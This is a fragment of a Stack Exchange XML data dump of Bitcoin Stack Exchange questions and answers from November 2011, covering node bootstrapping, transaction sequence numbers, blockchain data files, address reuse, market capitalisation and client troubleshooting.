  <row Id="2028" PostTypeId="2" ParentId="2027" CreationDate="2011-11-20T17:13:55.130" Score="5" Body="&lt;p&gt;There are several bootstrap methods. I know of two:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An specific IRC channel is joined by the client. In this channel, connected clients often broadcast their IP, to allow others to find them.&lt;/li&gt;&#xA;&lt;li&gt;There is a list of hard-coded IPs in the client binary, which the client will connect to bootstrap its network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-11-20T17:13:55.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2030" PostTypeId="2" ParentId="2027" CreationDate="2011-11-20T19:48:18.893" Score="39" Body="&lt;p&gt;The Bitcoin client has a number of sources that it uses to locate the network on initial startup. In order of importance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The primary mechanism, if the client has ever run on this machine before and its database is intact, is to look at its database. It tracks every node it has seen on the network, how long ago it last saw it, and its IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The client can use DNS to locate a list of nodes connected to the network. One such seed is &lt;code&gt;bitseed.xf2.org&lt;/code&gt;. The client will resolve this and get a list of Bitcoin nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The client has a list of semi-permanent nodes compiled into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) The client can connect to a well-known IRC network, &lt;code&gt;irc.lfnet.org&lt;/code&gt;, and find other nodes that way. (This method has been removed as of version 0.8.2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) It takes IP addresses from the commandline (-addnode).&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2014-12-11T11:24:25.123" LastActivityDate="2014-12-11T11:24:25.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2032" PostTypeId="2" ParentId="2025" CreationDate="2011-11-20T21:33:23.600" Score="35" Body="&lt;p&gt;Sequence numbers aren't shown on the Bitcoin Block Explorer HTML pages because they are not used by the network currently. Non-default sequence numbers would be shown on raw block/tx pages, but I'm not sure whether this has ever happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sequence numbers are intended to be used for replacement. Replacement is currently disabled, but how it would work is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You send a transaction with a LockTime in the future and a sequence number of 0. The transaction is then not considered by the network to be &quot;final&quot;, and it can't be included in a block until the specified LockTime is reached.&lt;/li&gt;&#xA;&lt;li&gt;Before LockTime expires, you can replace the transaction with as many new versions as you want. Newer versions have higher sequence numbers.&lt;/li&gt;&#xA;&lt;li&gt;If you ever want to lock the transaction permanently, you can set the sequence number to UINT_MAX. Then the transaction is considered to be final, even if LockTime has not been reached.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is useful in several cases. For example, two parties can use it to set up a &quot;prepared transaction&quot;. Once the prepared transaction is created, the parties can move money between each other instantly, securely, and without fees. So you could set one of these up with an exchange and withdraw and deposit without waiting for confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since replacement is not used currently, all transactions Bitcoin creates have LockTime = 0 and Sequence = UINT_MAX. This is the case with the genesis block's generation transaction.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2011-11-20T21:38:42.927" LastActivityDate="2011-11-20T21:38:42.927" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2033" PostTypeId="2" ParentId="2026" CreationDate="2011-11-21T02:34:29.340" Score="2" Body="&lt;p&gt;CryptoXChange.com will let you withdraw KRW directly to your bank account in South Korea. They just opened about a week ago.&lt;/p&gt;&#xA;" OwnerUserId="329" LastActivityDate="2011-11-21T02:34:29.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2035" PostTypeId="1" AcceptedAnswerId="2036" CreationDate="2011-11-21T10:40:20.203" Score="4" ViewCount="1321" Body="&lt;p&gt;As the mere size of the constantly changing data file tampers with my backup concept, I would like to ask if there is a way to split this file into many smaller pieces. I have no problem with the size as such, but with the amount of changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background is, I do my backups with &lt;code&gt;rsnapshot&lt;/code&gt;. This links files which haven't been changed on the target together, while changed files are copied in full.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why I would imagine to split the currently about 763 MB big &lt;code&gt;blk0001.dat&lt;/code&gt; into two files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;blk0001.dat&lt;/code&gt; having maybe 700 MB, and not changing (frequently) in the future.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;blk0002.dat&lt;/code&gt; holding the rest.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As the 2nd file grows steadily, I would, after it has reached a certain size, put more data from it into &lt;code&gt;blk0001.dat&lt;/code&gt;, and eventually stop changing this file at all, starting a 3rd one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has someone done this already?&lt;/p&gt;&#xA;" OwnerUserId="650" LastActivityDate="2012-05-31T08:59:55.680" Title="Limit size of data files" Tags="|blockchain|bitcoind|raw-data|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2036" PostTypeId="2" ParentId="2035" CreationDate="2011-11-21T10:59:37.687" Score="2" Body="&lt;p&gt;If you want custom file handling, you'll need to alter the client code, or write some application that would be reading from the dat file and splitting it accordingly. I haven't heard of any existing offline solutions for alternative handling of the files.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-21T10:59:37.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2037" PostTypeId="2" ParentId="2021" CreationDate="2011-11-22T05:01:39.697" Score="5" Body="&lt;p&gt;It doesn't required there be zero transaction in a 10 minute period.  Each miner (or pool) decides which transactions to include and they can choose to include nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However all blocks will have at least one transaction the coinbase transaction which includes the signer's reward address.  There must be one and only one coinbase transaction for a block to be valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coinbase is where new coins are mined out of thin air to increase the money supply.  This transaction also transfers any transaction fees to the miner.  If block reward (subsidy) and fees are both zero then then this transaction will still exist it will just have a value of zero.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-23T16:29:16.290" LastActivityDate="2011-11-23T16:29:16.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2038" PostTypeId="1" CreationDate="2011-11-22T05:03:07.727" Score="5" ViewCount="291" Body="&lt;p&gt;My bitcoin client stops populating at 8 connections and 112949 blocks, event I left it running for over 12 hours now. I checked my internet connection and firewall, all seem OK. Restart it a few times still make no different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any suggestion.&lt;/p&gt;&#xA;" OwnerUserId="697" LastActivityDate="2011-11-24T14:17:53.870" Title="Issue with bitcoin client 0.4.0 - stop populating" Tags="|client|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2039" PostTypeId="1" AcceptedAnswerId="2042" CreationDate="2011-11-22T05:47:27.093" Score="5" ViewCount="834" Body="&lt;p&gt;&lt;a href=&quot;https://glbse.com/&quot; rel=&quot;nofollow&quot;&gt;GLBSE&lt;/a&gt; is a privately owned bitcoin-based stock exchange website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=52494.0&quot; rel=&quot;nofollow&quot;&gt;Recently there has been talk&lt;/a&gt; about creating a distributed, open source version of it, without any single point of failure, possibly utilizing blockchain/Namecoin technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would such a project work, technically? How would you design it?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2011-11-24T11:56:43.483" LastActivityDate="2012-10-13T02:43:37.660" Title="Is a distributed version of GLBSE possible? How would you design it?" Tags="|glbse|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2040" PostTypeId="2" ParentId="2038" CreationDate="2011-11-22T07:49:42.313" Score="0" Body="&lt;p&gt;Best guess - set up port forwarding on your router of port 8333 to your computer running the Bitcoin client. You might also want to check out this topic: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/464/why-cant-i-get-over-8-connections-on-my-client&quot;&gt;Why can&amp;#39;t I get over 8 connections on my client?&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2011-11-22T07:49:42.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2041" PostTypeId="2" ParentId="2039" CreationDate="2011-11-22T08:02:06.253" Score="0" Body="&lt;p&gt;It probably could work. You'd probably need to implement a mechanism of creating special addresses that would be associated with a company (like Namecoins), enable them to create coins associated with themselves, and for example support something akin to merged mining for buying and selling of shares. For example, one would encode in the tx sent to the Bitcoin network a Tx equivalent in the share-coin. So it would be like saying: &quot;A sends B 50 Bitcoins. Note: B sells A 10 shares of B&quot;. This could work pretty good once Bitcoin allows for messages to be encoded in the Txs more readily.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-22T08:02:06.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2042" PostTypeId="2" ParentId="2039" CreationDate="2011-11-22T10:33:51.320" Score="7" Body="&lt;p&gt;&lt;strong&gt;Step 1 - Representing shares in the company.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easy enough and has been discussed. The company sends a small amount of bitcoins to one of its addresses. It releases a digitally signed announcement that any bitcoins which can be traced back to this particular output are tokens representing shares in the company. When dividends are to be paid, they are sent (in normal bitcoins) to addresses which contain tokens in proportion to the amount. Initially the company is in ownership of its shares and can sell them to raise funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2 - Enabling OTC trades.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also easy. People who want to trade can broadcast their offers, perhaps on a dedicated Bitstock p2p network. People who want to execute standing orders can contact their issuers and together construct a Bitcoin transaction that sends X normal bitcoins from A to B and Y tokens from B to A, and both sign it. No trust is needed because the exchange happens simultaneously. There can be a Bitstock client that is a modified Bitcoin client, which is careful to distinguish tokens from normal BTC and can communicate with the Bitstock network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3 - Committing to offers.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the hard part. With a normal OTC trade, there's nothing stopping a trader from backing out of an issued order if it becomes unprofitable by the time he is taken up on it. A market where orders needn't be honored will be inefficient and subject to manipulation. There needs to be some way to make committing orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could conceive concocting some special Bitcoin transaction where the output can be claimed by reciprocating by sending tokens to a specified address, up to a given time. But I think this has too many moving parts to work. The Bitcoin script will need to verify that the tokens indeed originate in the company's address, and the completed transaction will expire if not included by some time - which is said to be impossible since it will be messed up in chain reorgs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this is with a distributed trust model such as my own &lt;a href=&quot;https://bitcointalk.org/index.php?topic=21164.0&quot;&gt;NodeBank proposal&lt;/a&gt;, where the bank nodes act as escrow for the trades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this completely trustless, I think you may have to create a separate Bitstock blockchain with its own rules (shared between all companies, but distinct from Bitcoin). I'm not sure it's possible to make a commitment mechanism for offering bitcoins for token bitstocks, so Bitstock will have to be its own currency which can also be used to create company tokens (just like Namecoin is a currency which can be used to create a DNS record). The Bitstock blockchain will have rapid blocks and a relatively strict timestamp requirement, and will be merge mined with Bitcoin. It will have a mechanism for making offers of Bitstock tokens vs. normal bitstocks, which is enforced by protocol if an execution request is made with its hash included in an early enough block. There should be a way to make special rules to make this survive reorgs - for example, orphan blocks will also be considered when evaluating whether an execution was given early enough, but a confirmation of this validity will also be included in the main branch, and require enough confirmations to make sure a validation can't be added retrospectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4 - Continuous trade services.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter how clever we make the decentralized stock exchange, some things can still only be offered by a centralized service, in particular in regards to the speed with which orders can be placed, retracted and executed. A centralized service can be built on top of the p2p system to offer such features. It should enable depositing and withdrawing normal coins and token coins, and offer advanced features for trading deposited coins.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="78" LastEditDate="2011-11-22T10:44:05.293" LastActivityDate="2011-11-22T10:44:05.293" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2043" PostTypeId="2" ParentId="2039" CreationDate="2011-11-22T10:58:05.017" Score="3" Body="&lt;p&gt;This can be implemented in a similar way than &lt;a href=&quot;https://en.bitcoin.it/wiki/Smart_Property&quot; rel=&quot;nofollow&quot;&gt;smart property&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issuer sells, for example, 1 satoshi to represent each share. He can sell a share for bitcoins &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46834.msg558558#msg558558&quot; rel=&quot;nofollow&quot;&gt;within one transaction&lt;/a&gt;, atomically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A decentralized market for those shares would be necessary. This can be implemented outside the chain in multiple ways, for example, using &lt;a href=&quot;http://en.wikipedia.org/wiki/I2p&quot; rel=&quot;nofollow&quot;&gt;i2p&lt;/a&gt; like &lt;a href=&quot;https://bitcointalk.org/index.php?topic=27055.60&quot; rel=&quot;nofollow&quot;&gt;dark exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem that remains is forcing the orders in that market outside the chain to be executed. Without &lt;a href=&quot;https://bitcointalk.org/index.php?topic=52494.msg628807#msg628807&quot; rel=&quot;nofollow&quot;&gt;extending the bitcoin protocol set of standard transactions&lt;/a&gt; or starting a new chain.&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="192" LastEditDate="2011-11-24T23:17:50.747" LastActivityDate="2011-11-24T23:17:50.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2044" PostTypeId="2" ParentId="2035" CreationDate="2011-11-22T17:31:22.530" Score="5" Body="&lt;p&gt;This is actually already implemented: blk0001.dat contains the first two gigabytes of blockchain data, blk0002.dat contains the second two gigabytes, and so on. We just haven't hit two gigabytes of data yet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2012-05-31T08:59:55.680" LastActivityDate="2012-05-31T08:59:55.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2045" PostTypeId="1" CreationDate="2011-11-23T16:52:15.873" Score="9" ViewCount="3240" Body="&lt;p&gt;Should I use a different address for every transaction? If yes, why? For safety?&#xA;What happens I use the same address to get bitcoins from 2 different people, what happens?&lt;/p&gt;&#xA;" OwnerUserId="702" LastEditorUserId="5406" LastEditDate="2017-06-02T15:34:10.243" LastActivityDate="2017-06-02T15:34:10.243" Title="Should I use a different address for every transaction?" Tags="|privacy|address-reuse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2046" PostTypeId="2" ParentId="2045" CreationDate="2011-11-23T17:06:27.283" Score="7" Body="&lt;p&gt;The only reason why it is recommended to use a different address for every transaction, is for increased anonymity - it makes it more difficult to trace, and next to impossible to prove, that the recipient of transaction A is the same person as the recipient of transaction B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you publish an address to receive payments online, and keep it static, everyone can go to &lt;a href=&quot;http://blockexplorer.com/&quot;&gt;http://blockexplorer.com/&lt;/a&gt; and see all the money you have received, and calculate how much money you got. If you change the address after every transaction, it makes it much more difficult - someone who have to constantly monitor your web page with the published address to know all your addresses you received money on. And if you keep the page with the published address non-public, such as that your customer has to log-in to his account on your system to see the address, that makes it practically impossible for third parties to monitor your income, find out how much money you have and what you spend it on.&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2011-11-23T17:06:27.283" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2047" PostTypeId="1" AcceptedAnswerId="2050" CreationDate="2011-11-23T18:35:28.850" Score="8" ViewCount="1429" Body="&lt;p&gt;Is there a convenient data source and/or graph that gives the &quot;market capitalization&quot; over time for Bitcoin (i.e. the number of bitcoins issued to date times their current value on the big exchanges).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note e.g. some publicity and attention to this issue due to the xkcd infographic on Money:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://xkcd.com/980/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Money - XKCD&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://xkcd.com/980/huge/#x=-3822&amp;amp;y=-7994&amp;amp;z=6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zoom in to the part about bitcoin&lt;/a&gt; or see the original version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ppHlM.png&quot; alt=&quot;XKCD on Bitcoin market cap (first release)&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that the date indicated there for the peak so far (July 2011) is wrong, since that peak was on June 8 or 9.  It would be fun to provide some more accurate and precise numbers, though of course there is no one canonical exchange rate and some sort of weighted price may be more useful than the very highest trade recorded.  See some nearby data at:&#xA; &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg180zczsg2011-06-09zeg2011-06-11zvzlztgSzm1g10zm2g25&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin charts 2011-06-08..11&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt; A closer look at the minute-by-minute data suggests that the peak was at     &lt;code&gt;2011-06-08T17:10&lt;/code&gt;  when the mtgox USD price was $31.91.  At that point the most recent block was  &lt;a href=&quot;http://blockexplorer.com/b/129412&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockexplorer.com/b/129412&lt;/a&gt; at 2011-06-08 16:56:29 (assuming both services are using the same timezone? UTC?).  That implies $206,476,846 I think: 31.91 $/BTC * 129412 blocks * 50 BTC/block&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;del&gt;the nice new &lt;a href=&quot;http://bitcoinpie.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Pie&lt;/a&gt; site that compares market cap for various bitcoin-related currencies (and see&lt;/del&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1385/is-there-an-easy-way-to-check-out-the-market-cap-of-the-alternative-currencies&quot;&gt;Is there an easy way to check out the market cap of the alternative currencies? - Bitcoin - Stack Exchange&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="5406" LastEditDate="2018-01-21T20:16:33.600" LastActivityDate="2018-01-21T20:16:33.600" Title="&quot;Market capitalization&quot; over time" Tags="|exchange-rate|market|bitcoin-economy|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2048" PostTypeId="2" ParentId="2047" CreationDate="2011-11-23T20:40:48.963" Score="1" Body="&lt;p&gt;You could derive this from historical price data (available via the &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Charts API&lt;/a&gt;) and the blockchain's timestamps (extracted from the block database in your Bitcoin client's data folder).  You just need to multiply the close price for each day by the number of coins generated on and before that day.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-11-23T20:40:48.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2049" PostTypeId="2" ParentId="2039" CreationDate="2011-11-24T09:41:46.527" Score="2" Body="&lt;p&gt;This can be done using Open-Transactions. There &lt;em&gt;are&lt;/em&gt; servers, but the overall architecture is larger than that -- issuers can issue funds onto multiple servers, and balances are still provable/recoverable even in cases where a server disappears. Servers cannot forge balances or transactions, and untraceable cash is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the project: &lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/FellowTraveler/Open-Transactions/wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="309" LastActivityDate="2011-11-24T09:41:46.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2050" PostTypeId="2" ParentId="2047" CreationDate="2011-11-24T12:20:01.560" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/market-cap&quot;&gt;http://blockchain.info/charts/market-cap&lt;/a&gt;. 24 hour Weighted price from mt.gox and tradehill.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2011-11-24T12:26:44.167" LastActivityDate="2011-11-24T12:26:44.167" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2051" PostTypeId="2" ParentId="2038" CreationDate="2011-11-24T14:17:53.870" Score="1" Body="&lt;p&gt;Try deleting your blkindex.dat and blk0001.dat files (do NOT delete wallet.dat, even better make a backup), and let bitcoin re-download the chain. The exists a rare situation where the block chain files become corrupted, and bitcoin does not accept any new blocks.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2011-11-24T14:17:53.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2052" PostTypeId="1" AcceptedAnswerId="2055" CreationDate="2011-11-24T20:20:57.317" Score="4" ViewCount="684" Body="&lt;p&gt;Is it possible to run two separate bitcoind instances on one system at the same time, one for mainnet, other for testnet?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2018-11-12T06:09:09.463" Title="Running two bitcoind instances for different nets" Tags="|bitcoin-core|bitcoind|testnet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2054" PostTypeId="2" ParentId="2052" CreationDate="2011-11-24T23:33:36.837" Score="0" Body="&lt;p&gt;I don't see any reason why not.&#xA;I've read somewhere in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=24209.0&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; that people run various instances of multicoin for similar purposes.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2011-11-24T23:33:36.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2055" PostTypeId="2" ParentId="2052" CreationDate="2011-11-25T05:12:42.277" Score="2" Body="&lt;p&gt;Yes, you can. Just be sure to specify different data directories and configure them to use different ports.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-11-25T05:12:42.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2056" PostTypeId="1" AcceptedAnswerId="2058" CreationDate="2011-11-25T13:54:50.573" Score="7" ViewCount="214" Body="&lt;p&gt;Is there something like a timestamp of each transaction recorded in the block chain, or only the mere fact that the transaction was done?&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2011-11-25T14:13:45.950" Title="Is the time a transaction was done recorded in the block chain?" Tags="|blockchain|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2058" PostTypeId="2" ParentId="2056" CreationDate="2011-11-25T14:13:45.950" Score="3" Body="&lt;p&gt;There's a unix timestamp in the block message. &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#block&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#block&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would be able to get know the transaction hit the blockchain down to roughly a 10 minute resolution.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2011-11-25T14:13:45.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2059" PostTypeId="1" CreationDate="2011-11-25T14:20:27.317" Score="3" ViewCount="2154" Body="&lt;p&gt;To increase the transaction limits on a MtGox account you need to submit a personal ID (passport or drivers license) and a utility bill (electricity/water/gas/phone) as a proof of address. It is explicitly  stated that a bank statement will not be accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That makes it next to impossible for many people to use MtGox, because they do not have utility bills in their name (for example they live with friends or family, and the utility bill is in the name of the owner or official tenant). Also students living in dorms will not have utility bills. I think that more then half of the worlds population does not have utility bills in their name - usually several people live together in one building/flat, and the bills are only in the name of one of them, who is responsible for paying. It may not be possible just to change the name of the person on the bill, because of contract, liability, creditworthiness or many other reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also seem to accept a &quot;residency certificate&quot; instead of a utility bill, but also excludes many people, but that also excludes many people, as they can not and need not obtain such certificate, as their citizenship and/or passport alone allows them to stay in the country, either indefinitely (in their country of citizenship) or for a limited time (in other countries). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does MtGox not accept bank statements, which is an accepted form of verification for most, if not all other financial services, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Moneybookers&lt;/li&gt;&#xA;&lt;li&gt;Currencyfair&lt;/li&gt;&#xA;&lt;li&gt;Neteller&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All these services, and a countless number of others, accept a passport + bank statement for full account verification. That is a commonly accepted and fully sufficient for AML.&lt;/p&gt;&#xA;" OwnerUserId="162" LastEditorUserId="196" LastEditDate="2011-11-25T17:21:30.343" LastActivityDate="2011-11-25T17:21:30.343" Title="Why MtGox does not accept a bank statement as proof of address for verification?" Tags="|mtgox|verification|" AnswerCount="0" CommentCount="5" ClosedDate="2011-11-26T22:27:06.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="2061" PostTypeId="1" CreationDate="2011-11-25T18:37:24.777" Score="5" ViewCount="2382" Body="&lt;p&gt;Today I downloaded and installed the new version of Bitcoin (0.5.0)&#xA;I extracted the file and it created a folder. I followed the instructions and clicked bitcoin-qt.exe and the program started. No installation!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the new version a portable version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do with the old one? Because when I click it, it opens the old version?&#xA;Should I simply uninstall it? Or should I backup the wallet from the old version?&lt;/p&gt;&#xA;" OwnerUserId="711" LastActivityDate="2011-11-25T18:54:29.720" Title="How to update Bitcoin client?" Tags="|client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2062" PostTypeId="2" ParentId="2061" CreationDate="2011-11-25T18:54:29.720" Score="1" Body="&lt;p&gt;It is always advised to backup your wallet.dat before doing anything with the client, and also to keep a general backup just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the file saving protocol in Bitcoin client rarely changes, one can possibly run a couple different versions on the same .dat files without an issue. However, running an older version after an update is not advised, as unexpected behaviour can happen every now and then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should backup your wallet.dat, uninstall the old version, install the new version, check if everything is working okay, and then delete the temporary .dat backup.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-25T18:54:29.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2063" PostTypeId="1" AcceptedAnswerId="2066" CreationDate="2011-11-25T18:59:19.047" Score="24" ViewCount="9298" Body="&lt;p&gt;Why does the Bitcoin use the litte-endian notation? It is less common than big-endian notation, thus when programming low-level applications working with Bitcoin protocol, one quite often has to create custom operations for handling the endianness switching. Is there some specific reason why this notation was chosen?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-03-06T19:08:11.623" LastActivityDate="2021-03-06T19:08:11.623" Title="Why does the Bitcoin protocol use the little-endian notation?" Tags="|protocol|standard|endianness|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2064" PostTypeId="1" CreationDate="2011-11-25T20:02:26.060" Score="9" ViewCount="7267" Body="&lt;p&gt;I bought 1.25 BTC but after 2 days I see nothing. What is wrong?&#xA;This is the &lt;a href=&quot;http://blockexplorer.com/a/4CkCXPJxFa&quot;&gt;transaction&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I went to freebitcoins.appspot.com, since they claim thay they give for free 0.005 bitcoins per visitor. I did everything correct and the site said that I could see the transaction at freebitcoins.appspot.com/recent_sends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I clicked on my transaction, it said: No such transaction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/tx/1eaf91e7d4ae3a8f976eaa346f4332d8bfd999d209ef899612e5b2995db0eeb9&quot;&gt;http://blockexplorer.com/tx/1eaf91e7d4ae3a8f976eaa346f4332d8bfd999d209ef899612e5b2995db0eeb9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guys tell me what is wrong?&lt;/p&gt;&#xA;" OwnerUserId="711" LastEditorUserId="516" LastEditDate="2012-07-06T03:56:35.337" LastActivityDate="2015-04-22T02:23:08.707" Title="How long does it take to receive bitcoins?" Tags="|transactions|confirmations|receiving|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
